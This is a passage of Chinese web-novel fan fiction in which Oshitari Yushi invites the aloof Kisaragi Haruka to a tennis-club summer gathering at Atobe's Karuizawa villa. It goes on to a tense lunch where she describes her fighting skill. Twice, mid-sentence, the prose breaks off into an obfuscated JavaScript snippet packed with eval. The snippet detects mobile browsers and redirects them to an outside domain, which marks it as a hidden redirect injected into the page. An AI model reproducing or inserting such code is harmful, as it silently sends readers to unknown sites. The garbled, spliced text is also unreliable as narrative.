能陪着他合奏一场,已经是大小姐格外开恩了,这么喧嚣吵闹的庆功宴,她的脾气肯定不喜欢,何苦让她不高兴呢。 又几日 夏日的阳光灼烤着网球场塑胶地面,蒸腾起一片扭曲的热浪。 迹部景吾反手一记凌厉的“迈向破灭的圆舞曲”,角度刁钻,球速惊人。 然而,预想中对面那个仓促救球的身影并未出现。忍足如同磐石般稳固,他双腿牢牢钉在地面上,核心力量爆发,一个极其流畅的侧滑步,身体重心在高速移动中依旧稳如泰山。 球拍以最小的动作幅度精准到位,“砰”的一声脆响,网球化作一道凌厉的黄光,带着强烈的旋转,精准地压在了迹部的底线上。 “15-40!” 裁判的声音响起。 迹部景吾站在原地,眼眸里闪烁着难以置信的精光。 他抬手抹去额角的汗珠,目光如同探照灯般扫视着对面那个气息微喘、但站姿却异常扎实的忍足。 “忍足。”迹部的声音带着一丝喘息后的沙哑,“你最近……做了什么特训?” 他缓步走向网前,锐利地审视着忍足的下盘,“脚步移动的稳定性和核心力量,提升得可不止一点点。” “本大爷还以为你最近忙着追大小姐的脚步,网球都要荒废了。” 忍足侑士推了推滑到鼻尖的眼镜,汗水沿着鬓角滑落,嘴角却抑制不住地向上扬起一个带着得意和隐秘喜悦的弧度:“啊……被发现了?” 他走到网前,拿起毛巾擦了擦汗,声音压低了些,带着点炫耀般的分享意味,“确实……被指点了一下。” “指点?”迹部挑眉,瞬间捕捉到关键信息,“大小姐?” “嗯哼。”忍足的笑意更深了,镜片后的目光闪烁着愉悦的光芒,“关于如何让下盘更稳一点。” 他没具体说吊桥上的狼狈,但迹部何等人物,联系忍足最近的变化和刚才那稳如磐石的移动,瞬间明白了七八分。 “呵。”迹部发出一声意味不明的轻笑,眼眸扫过忍足那表情,毫不留情地切入正题,“所以,那位给你‘指点’的大小姐……” 他微微倾身,声音压低,带着不容回避的犀利,“轻井沢聚会的事情,你跟人家说了没有?” 忍足脸上的笑容瞬间僵住,如同被兜头浇了一盆冷水。 嘴角抽了抽,苦笑着摇头,长长地叹了口气:“唉……真没这个胆子啊,迹部。” 他拿起地上的水瓶猛灌了几口,仿佛要浇灭心头的焦躁。 “我想了很多种说法……邀请她去避暑?说慈郎家的点心是关东一绝?提轻井沢的风景绝佳?” 他掰着手指,表情越来越无奈,“但是无论哪种说法,感觉最后挨揍的几率都比较大……”下意识地揉了揉自己的小臂,仿佛已经预见了被关节技制裁的痛苦。 “呵,瞧你这点本事。”迹部毫不客气地嗤笑一声,双手抱胸,华丽的姿态里满是恨铁不成钢,“本大爷认识的忍足侑士,什么时候这么瞻前顾后、畏首畏尾了?啊嗯?” 他扬了扬下巴,“就当邀请她跟你去轻井沢玩不就行了?你忍足导游,最近不是经常带她出去玩?” “那不一样的!”忍足立刻反驳纠正,“那是单独,就我们两个人。轻井沢这次……” 他指了指场外休息区正闲聊的向日、宍户等人,“……是网球部聚会,这么多人,她也不认识,而且……” 他声音低了下去,带着深深的顾虑,“联合汇演的庆功宴她都不肯参加,我怎么邀请她一个人面对这群吵吵闹闹的家伙们?” “这不是邀请,这是酷刑。” 迹部当然清楚如月遥那拒人千里之外的性格,修长的手指优雅地敲了敲自己的臂弯:“谁说只有她一个女生了?” 他瞥了忍足一眼,带着点嫌弃,“凤和泷,都会带女朋友一起去。凤的女朋友是家政社的佐藤明美,性格很温和;泷的那个是绘画系的千叶纱织,很有艺术气质。她不会是一个人的。” 忍足的眼睛瞬间亮了,如同在黑暗中看到了曙光。 凤和泷会带女友?有其他女生在场? 这简直是天大的好消息,他之前的顾虑瞬间被冲淡了不少。 “本大爷什么时候说过假话?”迹部华丽地撩了下额前的碎发。 希望的火苗重新在忍足心中燃起,他看着迹部笃定的表情,又想起如月遥对甜点和风景的喜爱。 似乎……好像……也许……有那么一丝丝成功的可能? 巨大的压力和对“挨揍”的恐惧并未完全消散,但迹部的情报无疑给了他一个无法拒绝的台阶和一点点微弱的勇气。 忍足认命般地再次长长叹了口气,肩膀垮了下来,仿佛做出了一个重大的决定。 “好吧……我知道了……” 他拿起网球拍,用拍框轻轻戳了戳自己的胸口,仿佛在给自己打气,“我……我最近找个机会……跟她提一下。” 他顿了顿,眼神变得极其认真,甚至带着点“托孤”般的悲壮,一字一句地强调: “但是迹部!先说好,如果……” “如果我真的因为她不同意而受到了什么‘物理伤害’……”忍足的目光紧紧锁定迹部,眼神里充满了控诉,“比如,胳膊脱臼啊,或者被过肩摔什么的……” 迹部:“……” 忍足斩钉截铁地甩出了最后一句话: “你负全责。” 说完,他不再看迹部瞬间黑下来的俊脸,拿起毛巾和水瓶,逃也似的快步离开,仿佛身后有洪水猛兽在追。 只剩下迹部景吾一个人站在原地,额角似乎隐隐有青筋跳动。 他望着忍足那带着怂气又有点小得意的背影,眼眸里闪过一丝又好气又好笑的复杂情绪,最终化为一声华丽又无奈的轻哼。 “呵……” “没出息的东西。” 夏夜的蝉鸣聒噪,忍足侑士房间的空调送出习习凉风,却吹不散他心头的紧张。 他盯着那个孤月头像的聊天框,指尖悬在屏幕上许久,终于忐忑地敲下一行字: 【忍足侑士】:暑假有什么安排吗? 发送。 等待的时间如同被拉长。 忍足甚至能听到自己心跳的声音。 【Moon】:没有。 简洁的两个字,却让忍足心头一松。 机会! 他立刻打起精神,手指翻飞,精心编织起诱饵。 【忍足侑士】:轻井沢那边有个甜品铺子,是我朋友慈郎家开的,夏季限定的水蜜桃芭菲和水果大福口碑爆棚。【甜品诱人图片.jpg】 【忍足侑士】:轻井沢避暑真的很舒服,森林氧吧,比起东京简直是天堂。【轻井沢风景图.jpg】 【忍足侑士】:你有没有兴趣去看看? 信息发送。 忍足屏住呼吸,心脏在胸腔里擂鼓。 成败在此一举! 手机屏幕沉默了几分钟,这几分钟对忍足来说如同几个世纪般漫长。 他脑子里飞快闪过各种可能:被直接拒绝?被无视?还是……? 终于,屏幕亮起。 【Moon】:去几天? 有戏! 忍足强压住激动,手指因为紧张都有些发抖。 【忍足侑士】:计划是四天三晚。【行程安排.jpg】 【忍足侑士】:住宿你不用担心,迹部家在轻井沢有别墅,他慷慨借用了。【别墅照片.jpg】 发送完这条,忍足的心又提了起来。 他知道,最关键的部分来了,他不能瞒着,必须坦白聚会的性质。 果然,如月遥的下一个问题直指核心。 【Moon】:迹部的别墅?借给你住? 忍足咽了口唾沫,硬着头皮回复。 【忍足侑士】:其实是顺便会进行网球部的年度聚会。 【忍足侑士】:大家都会住一起。 信息发出去,如同石沉大海。 手机那头陷入了长久的沉默,忍足的心一点点沉下去。 完了……他就知道! 她最讨厌这种热闹喧腾的集体活动。 十几号人在一个别墅里? 就算别墅很大,那对她来说也是绝对灾难! 刚才那一点点希望的火苗,瞬间被这漫长的沉默浇灭了。 他懊恼地抓了抓头发,恨不得穿越回几分钟前扇自己一巴掌,早知道就不提住宿了。 不行! 不能放弃! 他想起了迹部的情报!还有最后一线生机! 【忍足侑士】:不过你放心,不是只有男生。 【忍足侑士】:凤长太郎和泷荻之介都会带女朋友一起去。【名单截图.jpg】 【忍足侑士】:佐藤桑性格很好,千叶桑也很有艺术气质,都很好相处。 发送。 忍足握着手机,如同等待最终审判的囚徒。 这一次,沉默的时间似乎更长了。 就在忍足几乎要绝望地以为彻底没戏时,手机屏幕终于再次亮起。 【Moon】:嗯。 一个单音节。紧接着,是一条让忍足几乎以为自己眼花的消息: 【Moon】:我能带水谷雅子一起吗? 【Moon】:她要采风。 带水谷雅子?! 一瞬间,醋意如同潮水而来,瞬间淹没了刚才因为“嗯”而燃起的微弱希望。 又是她! 她就这么重要? 重要到连去避暑聚会都要带着? 重要到需要她亲自开口邀请同行? 忍足只觉得一股酸涩直冲喉咙,握着手机的手指都因为用力而微微泛白,强烈的嫉妒感让他胸口发闷。 然而,这股酸涩仅仅持续了几秒钟,就被随之而来的、更加汹涌澎湃的狂喜所取代。 她答应了,她虽然提出了附加条件带水谷雅子,但她终究是答应了。 这已经远超忍足最乐观的预期,简直是奇迹降临。 巨大的喜悦如同烟花在脑海中炸开,什么醋意!什么失落!在水谷雅子能成为“通行证”的前提下,一切都可以忽略不计! 他立刻拿起手机,生怕她反悔。 【忍足侑士】:没问题,当然可以! 【忍足侑士】:别墅够大,房间管够,随便住。【别墅豪华内景图.jpg】 【忍足侑士】:水谷同学能一起去采风,肯定能激发更多灵感。 【忍足侑士】:那就这么说定了? 【Moon】:嗯,到时候来接我。 “耶——!!!” 忍足再也抑制不住内心的狂喜,对着空气低声欢呼出来。 他握着手机,反复看着屏幕上那简短的“嗯”和“来接我”,只觉得一股巨大的幸福感快要将他淹没。 成功了! 虽然代价是带上那个让他有点酸酸的水谷雅子,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【忍足侑士】:后果自负!【核善微笑.jpg】 一连串的警告如同冰水浇下,群里瞬间安静了两秒。 【向日岳人】:知道了啦,我保证管住嘴! 【宍戸亮】:啧,知道了。 【凤长太郎】:我们会注意分寸的!【认真.jpg】 【泷荻之介】:明白~就当普通朋友聚会~【了然.jpg】 【芥川慈郎】:唔……有漂亮姐姐……还有好吃的…… 【迹部景吾】:啊嗯?本大爷的别墅里,谁敢造次? 看着群里众人还算识相的表态,忍足这才稍稍放下心来。 轻井沢…… 夏日聚会…… 还有……她。 虽然过程曲折,还附带了一个“电灯泡”,但终究是成功了。 狂喜过后,责任感涌上心头,他立刻坐回书桌前打开电脑,开始搜索: 《轻井沢避暑最全攻略》 《轻井沢人气温泉评测》 《甜品铺最新夏季限定菜单预测》 《适合拍照的轻井沢隐秘景点》 《女生结伴出行注意事项》…… 忍足家的早餐桌上,气氛一如既往地温馨中带着点心照不宣的调侃。 当忍足侑士宣布“爸妈,惠里奈姐,这周末我要去轻井沢几天,网球部年度聚会”时,忍足父亲和忍足姐姐交换了一个“果然如此”的眼神,忍足妈妈则温柔地笑着点头。 “去吧去吧,”惠里奈促狭地用筷子点了点弟弟,“看你最近走路都带风,就知道又要往外跑。这次是‘网球部聚会’?”她刻意加重了那几个字,尾音上扬,充满了调侃。 忍足爸爸推了推眼镜,严肃的脸上也难得露出笑意:“嗯,年轻人多聚聚是好事。轻井沢环境好,适合放松。” 他心里盘算着,清水家在轻井沢也有别墅,看来侑士这小子还挺上道,知道借网球部聚会的机会跟清水家小姐多相处。 不错,这联姻路线看来是走稳了。 忍足看着家人那副“我们都懂”的表情,心知肚明他们在想什么,但他也懒得解释,主要也是没法解释。 他只是心情极好地哼着不成调的旋律,嘴角压不住地上扬,拎起早已准备好的行李箱,脚步轻快地出了门。 “路上小心。”忍足妈妈的声音从身后传来。 忍足愉快地应了一声,背影消失在玄关。 车子平稳地驶向如月宅。 今天的如月遥依旧是一身清浅色系的连衣裙,长发柔顺地披在肩后。 车子驶上通往轻井沢的高速公路,窗外的景色逐渐被苍翠的森林取代,空气也凉爽清新起来。 忍足清了清嗓子,决定趁这个机会,给如月遥打打预防针。 “如月小姐,”他的声音带着点轻松,“待会儿到了别墅,会见到不少人。都是我国中时期网球部的队友,虽然现在大学不在一处,但感情很好,每年都会找时间聚聚,平时私下也经常约打球。” 他一边开车,一边开始逐个介绍: “迹部景吾,你见过的,他家别墅就是这次聚会的地方。” “向日岳人,跳得很高,性格比较活泼……嗯,话比较多,但没什么坏心。” “宍戸亮,很酷,球风很猛,话不多但很可靠。” “凤长太郎,性格最温和,球风却很凌厉,反差萌。他女朋友佐藤明美也会来,是家政社的,据说料理很棒。” “泷荻之介,观察力敏锐,他女朋友千叶纱织是绘画系的,艺术气质,应该和水谷同学有共同语言。” “芥川慈郎,就是那家甜品铺子的小少爷,大部分时间在睡觉,但醒了就很热情,尤其对甜点。” “日吉若,整天喊着‘下克上’,有点小严肃……” 忍足介绍的语气轻快而熟稔,每一个名字后面都带着简短却生动的描述,仿佛那些鲜活的身影就在眼前,他的唇角一直带着笑意,连声音都透着一种温暖的怀念。 他一直默默观察着如月遥的反应。 她安静地听着,目光投向窗外飞掠的森林,眼眸里看不出特别的情绪,但显然在认真接收信息。 当忍足介绍完最后一个人名,车厢里短暂地安静下来。 如月遥缓缓转过头,目光落在忍足映在后视镜里的、带着愉悦笑容的脸上,清泠的声音响起,“你们关系很好?” “是啊。”忍足几乎是毫不犹豫地、发自内心的感慨,“国中三年一起训练,一起比赛,一起输,一起赢……吵吵闹闹,但关键时候都很可靠。” 他顿了顿,语气变得更加柔和,“是青春的羁绊吧,很难得。” “青春的羁绊……”如月遥低声重复了一遍这几个字,声音很轻,像是在咀嚼其中的意味。 她沉默了几秒,目光再次投向窗外葱郁的森林。 看在忍足的面子上。 每一个名字,对应的性格特点,以及她预设的应对策略,都清晰地在她心中罗列出来。 像一个即将踏入陌生战场的将军,冷静地分析着敌我态势,制定着最稳妥的接触方案。 27. 第 27 章 轻井沢的森林在阳光下蒸腾着清新的草木芬芳。 忍足的车缓缓驶入迹部家别墅前宽阔的庭院,轮胎碾过细碎的石子路,发出轻微的声响。 院子里已经相当热闹。 向日岳人正在草坪上追逐一个网球,宍户亮抱着手臂倚在一棵巨大的橡树下,凤长太郎和泷荻之介正和各自的女友佐藤、千叶低声交谈着,芥川慈郎则躺在不远处的藤椅上,阳光透过树叶缝隙洒在他脸上,似乎又睡着了。 迹部景吾颀长的身影立在别墅正门前的台阶上,正注视着缓缓停稳的车子。 忍足推开车门下车,绕到副驾驶一侧,动作流畅地拉开车门。 山间的清风拂动她鸦青的长发和白色的裙摆,如同林间初绽的琼花。 忍足极其自然地从后备箱拿起了如月遥的旅行包和自己的行李箱。 一手一个,姿态熟练得如同训练有素的管家,将如月遥的行李妥帖地安置在自己手中。 “这里走。”忍足侧身,示意如月遥跟上。 他带着她,走向那群早已停下动作、目光齐刷刷聚焦过来的昔日队友。 “咳,”忍足清了清嗓子,脸上带着得体的微笑,声音清晰地向众人介绍,“这位是如月遥,东大文学部的同学。” 他侧头看向如月遥,眼神温和,“这些都是我国中时期网球部的队友。” 忍足语速飞快,如同报菜名一般把每个人的名字都叫了一遍,介绍简洁至极,点到即止,显然不想让如月遥在这里站太久接受“注目礼”。 然而,出乎所有人意料的是,站在忍足身边的如月遥,那张惯常清冷如冰的脸上,并未流露出任何疏离冷漠。 微微颔首,目光平静地扫过眼前一张张或好奇、或兴奋、或审视的脸庞,唇角极其轻微地、却又无比清晰地向上弯起一个清浅的弧度。 那弧度很浅,淡若云烟,却如同春风拂过冰面,瞬间消融了那份拒人千里的寒意。 带着一种恰到好处的礼貌:“初次见面,请多关照。” 她对着众人微微欠身,行了一个标准的见面礼,姿态优雅,不卑不亢。 “啊嗯?欢迎光临本大爷的别墅。”迹部率先开口,华丽的声音带着主人应有的气度,“房间已经准备好了。” 他示意旁边等候多时的老管家,“管家,带如月小姐去她的房间。” “不用麻烦了。”忍足立刻出声,语气极其自然,“行李我拿着,我带她上去就行。” 他看向如月遥,声音放得更轻缓了些,体贴到位,“你坐了一路车,先上去休息一下吧?” 如月遥点了点头。 看着忍足那殷勤的背影消失在别墅楼梯转角,向日岳人立刻夸张地搓了搓自己的手臂,凑到宍户亮和凤长太郎身边,压低了声音。 “喂喂喂!你们看到了吗?!侑士那家伙……” “那语气!那眼神!那动作!‘你坐了一路车,先上去休息一下吧?’……哇!鸡皮疙瘩都起来了!酸得我牙都要掉了!” 宍户亮酷酷地哼了一声,“那家伙……没救了。” 凤长太郎温和地笑着:“忍足前辈真的很关心如月学姐呢。” “啊嗯?”迹部走了过来,华丽的声线带着毫不留情的吐槽,“向日,你这点酸算什么?你是没看到他在东大时,天天围着那位大小姐转的样子……” 他微微眯起眼眸,语气带着点嫌弃,“简直毫无华丽可言!完全不符合本大爷的美学!” 这边男人们小声吐槽着忍足的“重色轻友”,另一边,女性阵营早已悄然行动起来。 水谷雅子被迹部安排的另一辆车送达后,就元气满满地加入了“战场”。 凤的女友佐藤明美和泷的女友千叶纱织,早就从自家男朋友那里接到了“助攻忍足如月”的“光荣任务”,此刻目标明确。 没多久,如月遥率先下楼,她们默契地交换了一个眼神,热情又不失礼貌地围到了如月遥身边。 “如月同学,你好!我是佐藤明美,长太郎的女朋友。” 佐藤笑容温婉,“你的皮肤真好~平时用什么护肤品呀?” “我是千叶纱织,泷的女朋友。”千叶气质优雅,目光落在如月遥的裙子上,“这件裙子的剪裁和颜色太适合你了!” 水谷雅子更是兴奋地加入:“对吧对吧!如月同学的气质穿什么都好看!今天这个红茶色超显气质的,快告诉我色号!” 三个女生叽叽喳喳,话题迅速从护肤、衣服跳到了彩妆领域。 女人一旦提起这些,气氛瞬间就热络起来,天然的亲近感油然而生。 被围在中间的如月遥,显然对这种热情直接的“女性话题”有些措手不及。虽然表情还是平淡的,但眼眸深处那份惯有的冰封,却在这样热烈又带着善意的氛围中,以肉眼可见的速度悄然消融。 她不再只是简单地“嗯”一声。 面对佐藤关于护肤的请教,她会简短地回答:“保湿为主。” 面对千叶对衣服的赞美,她会微微颔首:“谢谢。” 当水谷雅子追问口红色号时,她犹豫了一下,居然真的从随身的小包里拿出了那支口红,递了过去。 “哇!就是这个色号!限定红茶色!太美了!”水谷雅子惊呼。 “真的很好看!衬得肤色好白!”佐藤也由衷赞叹。 “这个牌子的质地好像也很不错?”千叶观察着口红管身。 如月遥看着她们传看着那支口红,听着她们真诚的夸赞和讨论,虽然话依旧不多,但唇角那抹清浅的弧度却一直没有消失。 她甚至在水谷雅子追问“哪里买的”时,轻声回答了一句:“心斋桥那家店。” 忍足侑士重新回到庭院里男人堆中时,看到的就是这样一幅画面。 如月小姐,那个总是拒人千里、周身散发着生人勿近气息的冰美人,此刻正被佐藤、千叶和水谷三个女生热情地围在中间,她们传看着一支口红,讨论得热火朝天。 向日岳人正想继续吐槽忍足刚才的“管家”行为,却见忍足的目光牢牢锁在庭院角落那群女生身上,脸上露出了一个极其微妙的笑容。 “喂……侑士?”向日在他眼前晃了晃手。 忍足这才回过神,收回目光,转向身边这群损友。 他脸上的笑容收敛了些许,但眼底那份明亮的光彩却怎么也藏不住。推了推眼镜,低声感叹道: “啊……” 他的目光再次飘向庭院角落那个清丽的身影,声音里充满了感慨: “前途一片光明啊。” 阳光穿过树叶的缝隙,在草坪上投下斑驳的光影。 庭院一角,女生们的欢声笑语如同林间的鸟鸣,清脆悦耳。 忍足站在男人堆里,看着那个在人群中悄然融化的冰峰,只觉得眼前这片轻井沢的夏日晴空,从未如此明媚动人。 午餐的香气弥漫在迹部家别墅宽敞明亮的餐厅里。 巨大的长桌上铺着洁白的桌布,精致的餐具在阳光下闪耀。迹部家的主厨显然深谙如何满足这群运动少年的胃口,料理丰盛而美味,既有日式的精致,又兼顾了分量。 向日岳人吃得两颊鼓鼓,像只满足的仓鼠,美食下肚,他那关不住的话匣子立刻打开了。 咽下一口烤得恰到好处的和牛,目光亮晶晶地看向坐在斜对面的如月遥,语气带着毫不掩饰的好奇: “如月同学,真没想到你看起来这么…嗯……文静……” 他斟酌了一下用词,“结果那天居然那么厉害!咔咔两下就把那个混蛋的手指弄断了!简直太帅了!” 这个话题瞬间吸引了所有人的注意。 那天忍足被恶意球攻击、如月遥雷霆出手的场面,早已成为网球部口耳相传的故事。 被点名的如月遥正用筷子夹起一小块玉子烧,闻言动作顿都没顿,平静地将食物送入口中,细嚼慢咽后才抬起眼,看向向日岳人,声音清泠无波:“打网球,就打网球。” “打人,就打人。” “要尊重每一项运动。” “噗!”宍户亮刚喝进嘴的味噌汤差点喷出来,他强忍着咳嗽,一脸“你在说什么鬼话”的表情看向如月遥。 “哈?打人……也算运动?” 如月遥的目光转向宍户亮,脸上依旧是那副八风不动的平静,语气平淡得像在陈述一个物理定律: “算。” 她带着点学术探讨意味地补充道,“双方互动。” “双方互动?!”宍户亮的声音拔高了一点,荒谬感冲上脑门,“那天明明是你单方面压制好不好?那家伙连反应的时间都没有!” 如月遥的唇角极其轻微地向上弯了一下,那弧度带着对弱者的鄙视: “那是他太菜了。” 她的目光落在自己纤细却骨节分明的手指上,仿佛在欣赏一件完美的武器,声音轻飘飘地落下,带着理所当然的冷酷: “总不能怪我太强吧?” 众人:“……” 餐厅里瞬间陷入一片诡异的寂静。 向日张着嘴,宍户亮和凤长太郎面面相觑,被这强大的逻辑和冷酷的自信震得说不出话。 迹部嘴角抽了抽,闪过一丝“果然如此”的了然。泷荻之介则露出了敬佩混合着敬畏的表情。 一直沉默观察的日吉若,此刻眼中燃起了强烈的兴趣。 他身体微微前倾,带着武者见猎心喜的探究:“如月前辈,请问您学的是哪个流派的武术?” 如月遥的目光转向日吉若,微微偏头,在认真思考这个问题,“没有具体流派。” “近身格斗和远程攻击,都学过。” 这轻描淡写的回答,却让日吉若的眼神更加炽热,甚至带上了一丝敬意:“原来如此!很厉害!” 就在这时,一直处于半梦半醒状态的芥川慈郎,不知何时醒了过来。 他似乎只捕捉到了“厉害”的关键词,迷迷糊糊地把一碟刚上桌、点缀着新鲜莓果的慕斯蛋糕,推到了如月遥面前。 “唔……这个……超好吃!”慈郎的声音带着刚睡醒的鼻音,眼睛还半眯着,脸上是毫无保留的分享美味的灿烂笑容,“给你。” 如月遥的目光落在眼前那碟色泽诱人、散发着清香的蛋糕上。 她抬起眼,看向慈郎那张带着婴儿肥、睡眼惺忪却写满真诚的脸。 极其自然地拿起旁边的小银勺,舀了一勺送入口中。细腻绵密的慕斯在舌尖化开,带着恰到好处的清甜,确实非常美味。 她那总是抿成一条直线的唇角,在品尝的瞬间,极其明显地向上弯起一个愉悦的弧度。 “嗯。”她对着慈郎,发出了一个清晰而带着满足感的单音节,甚至还几不可察地点了下头。 水谷雅子一直坐在如月遥旁边,此刻才从“远程攻击”的震撼中回过神来。她担忧地看向那双在灯光下显得格外白皙、此刻正握着银勺的手。 “如月同学……”水谷雅子的声音带着忧虑,“你…你打架的时候……会不会受伤啊?” 她小心翼翼地指了指如月遥的手,“……万一弄伤了会不会影响你弹琵琶?” 这个问题显然问到了点子上,弹琵琶对手指灵活度的要求极高。 然而如月遥那张脸上没有任何担忧的表情,用最平静的语气,说出了最冷酷的话语:“别担心。” “我一般不打架。” 似乎在陈述一个既定事实,带着一种理所当然的碾压式的强大,“直接KO。” “……” 餐厅里再次陷入一片死寂,只剩下空调运转的轻微嗡鸣。 不打架…… 直接KO…… 这已经不是反差萌了! 这是核威慑级别的宣言啊! 众人只觉得一股寒气从脚底板升起,看向如月遥的眼神充满了敬畏。 向日默默地把凳子往后挪了挪,宍户和泷交换了一个“以后绝对不要惹她”的眼神。 忍足坐在如月遥的斜对面,将这一切尽收眼底。 他看着他的月亮,用最平静的脸说着最冷酷的话,震慑全场;看着她对着慈郎的蛋糕露出难得一见的真实笑容;看着她被日吉若追问流派,被水谷雅子关心…… 忍足表面维持着平静,然而内心早已掀起了滔天巨浪。 怎么……怎么人人都要和她说话?! 向日那个话痨!宍户那个杠精!日吉那个武痴!连慈郎那个睡神都醒了! 还有水谷雅子……又来了!又拉着她问东问西!关心她的手! 他都快被挤到边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526629|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘了! 从落座到现在,他几乎没能和如月遥说上几句话! 每次想开口,不是被向日打断,就是被宍户抢白,要么就是被慈郎的蛋糕截胡,连介绍别墅周围环境的机会都没有。 他看了一眼如月遥手边那碟快吃完的慕斯,我都没来得及给她拿甜点,慈郎那小子居然抢先了! 忍足无奈,忍足叹息。 午餐的氛围在如月遥那句“直接KO”的核弹级宣言之后,笼罩上了一层敬畏与诡异的安静,直到凤性格温婉的女友佐藤明美,小心翼翼地打破了沉默。 “如月同学……”佐藤的声音轻柔,带着好奇和担忧,“你学武术,家里父母同意吗?” 这个问题问得朴素,却触及了某个核心。 普通家庭的父母,会对女儿进行如此严苛、甚至堪称凶悍的训练吗? 如月遥刚拿起水杯的手几不可察地顿了一下,水面微微晃动,映着她沉静的侧脸。 “家传的。” “必须学。” 必须学。 这三个字,带着一种无需解释的强制性,瞬间在安静的餐厅里砸下。 众人心头都是一凛。 坐在佐藤旁边的千叶,显然还沉浸在影视作品的幻想里,下意识地举起手,像个好奇的学生提问:“是像电视剧里那种吗?成龙?李小龙?” 她比划了几个夸张的动作,“哇!好酷!” 如月遥的目光转向千叶,脸上罕见地露出了一丝类似于“难以评价”的神情。她微微蹙眉,似乎在斟酌如何解释才能让普通人理解其中的鸿沟。 “不太一样。” 似乎在寻找合适的词汇,“他们那种……是比较温和的。” 噗——! 这次不止宍户一个人,连凤都差点被自己的口水呛到,向日岳人更是眼睛瞪得像铜铃! 成龙?!李小龙?!温和?!!! “哈???”凤温和的脸上写满了难以置信的惊愕,他以为自己听错了,“如月前辈……你是不是对‘温和’这个词有什么误解?!” 在他们心目中,那些飞檐走壁、拳拳到肉的功夫巨星,已经是打斗的巅峰代表了!结果在如月遥这里,居然只落得一个“比较温和”的评价?! 唯有日吉若,不仅没有被吓退,眼中那簇狂热的光芒反而燃烧得更盛。 他完全忽略了忍足那写着“给老子闭嘴!”的怨念目光,棋逢对手的兴奋感压过了社交礼仪。 他猛地放下筷子,目光灼灼地锁定如月遥,带着一种武者最纯粹的挑战欲:“如月前辈!” 声音因为激动而微微拔高,“方便找个机会切磋一下吗?” 如月遥听到日吉若的请求,先是微微一愣。看向日吉若那充满战意的脸,又下意识地转向了坐在她斜对面的忍足侑士。 她的目光在忍足那张写满紧张担忧的脸上停顿了一秒。 然后,重新看向日吉若,脸上罕见地浮现出一抹极其清晰的纠结。 “你……” “你是忍足的朋友……” “……还是算了吧。” “为什么?”日吉若不解,更不甘心,高手当前岂能错过。 如月遥看着他执着的样子,轻轻叹了口气,用最理所当然的语气,说出了让整个餐厅温度骤降十度的真相。 “……我不想打死你。” 死寂。 绝对的死寂。 如果说之前的“直接KO”还带着抽象的威慑力,那么这句“不想打死你”,就是赤裸裸的、具象的、对自身破坏力的确认宣言。 向日岳人手一抖,筷子掉在了盘子上,发出清脆的响声。 宍户亮倒抽一口冷气,看着日吉若的眼神充满了“兄弟,珍重”的同情。 凤长太郎和泷荻之介下意识地正襟危坐,他们的女友佐藤和千叶更是下意识地闭嘴。 连一直迷迷糊糊的慈郎都似乎被这杀气惊得清醒了一点,眨了眨眼。 水谷雅子担忧地看向日吉若,又看看如月遥,欲言又止。 主位上的迹部景吾,华丽的额角终于控制不住地狠狠抽搐了一下,他放下手中的红酒杯,无语地看向如月遥:“啊嗯?切磋而已……” “要发展到打死人的情况吗?” “十招制敌是我的标准。” “所以出手会比较狠辣。” 众人只觉得脖子后面凉飕飕的。 看向如月遥的眼神,已经从敬畏升级到了“非人类危险生物请勿靠近”的层级。 忍足侑士坐在那里,看着他的月亮用最淡定的表情说着最惊悚的话语,看着日吉若那副被打懵了的表情,看着餐厅里弥漫的诡异氛围。 他内心那股翻腾的醋火和担忧,瞬间被一股巨大的、无处安放的、混合着心疼和无奈的复杂情绪所取代。 他又想起了她提及“家传”、“必须学”、“被一次次推到更高处”时话语里那深藏的沉重。 这身可怕的武力值背后,是她早已远去的、绝算不上幸福的童年阴影。 不能再让这个话题继续下去了! 忍足强行压下所有翻涌的情绪,声音刻意拔高,带着一种强行活跃气氛的轻快:“啊!那个!” 他站起身,拍了拍手,成功吸引了所有人的注意力。 “这么好的天气!”他指了指窗外明媚的阳光和远处隐约可见的波光粼粼的湖泊,“窝在屋子里太浪费了。” “吃过午饭,大家一起去湖畔划船吧?怎么样?” 他根本不等众人反应,主要是怕日吉若再开口作死,直接一锤定音:“就这么愉快的决定了!管家,麻烦准备一下。” 餐厅里依旧弥漫着挥之不去的汗颜和敬畏气息。 大家默默低头,机械地往嘴里塞着食物。 唯有如月遥,似乎完全没觉得自己的发言有任何问题。她重新拿起勺子,舀起最后一口慕斯送入口中,眼眸里只有对甜食的纯粹满足。 一顿气氛诡异、却又在忍足强行控场下勉强维持了表面和谐的午餐,终于在众人的沉默咀嚼中落下了帷幕。 窗外轻井沢的夏日阳光依旧明媚,湖面上的波光像是在无声地召唤着这群刚刚经历了一场“生死教育”的年轻人。 28. 第 28 章 午后的轻井沢湖畔,阳光被茂密的树冠筛成细碎的光斑,洒在凉爽的湖面上。 清风徐来,带着湿润的水汽和草木清香,吹散了午餐时那点惊悚的余悸。 千叶纱织和水谷雅子早已支起了画架,对着波光粼粼的湖面和远处苍翠的山峦,沉浸在各自的色彩世界里。 凤长太郎温柔地陪伴着擅长料理的女友佐藤明美,在别墅旁临时搭起的料理台上,研究着待会儿下午茶的甜点配方。 向日岳人、宍户亮和刚刚“死里逃生”的日吉若,则骑着租来的山地自行车,沿着湖边的林荫道呼啸而过,留下一串夸张的笑闹声。 迹部景吾戴着墨镜,姿态优雅地坐在巨大的遮阳伞下,旁边是沉默矗立的桦地,以及同样握着鱼竿的泷荻之介。 喧嚣被湖风和距离隔开,这片宁静的湖畔码头区域,只剩下忍足侑士,和他身边的如月遥。 如月遥安静地注视着湖面,侧脸在柔和的光线下显得格外柔和。 他深深吸了一口带着水汽的清新空气,像是要把胸腔里积攒的复杂情绪都呼出去,语气带着一种劫后余生的感叹: “如月小姐……” 声音压低,带着点哭笑不得的无奈,“真是语不惊人死不休啊……刚才那一顿饭,吃得大家心惊胆战,七上八下的。” 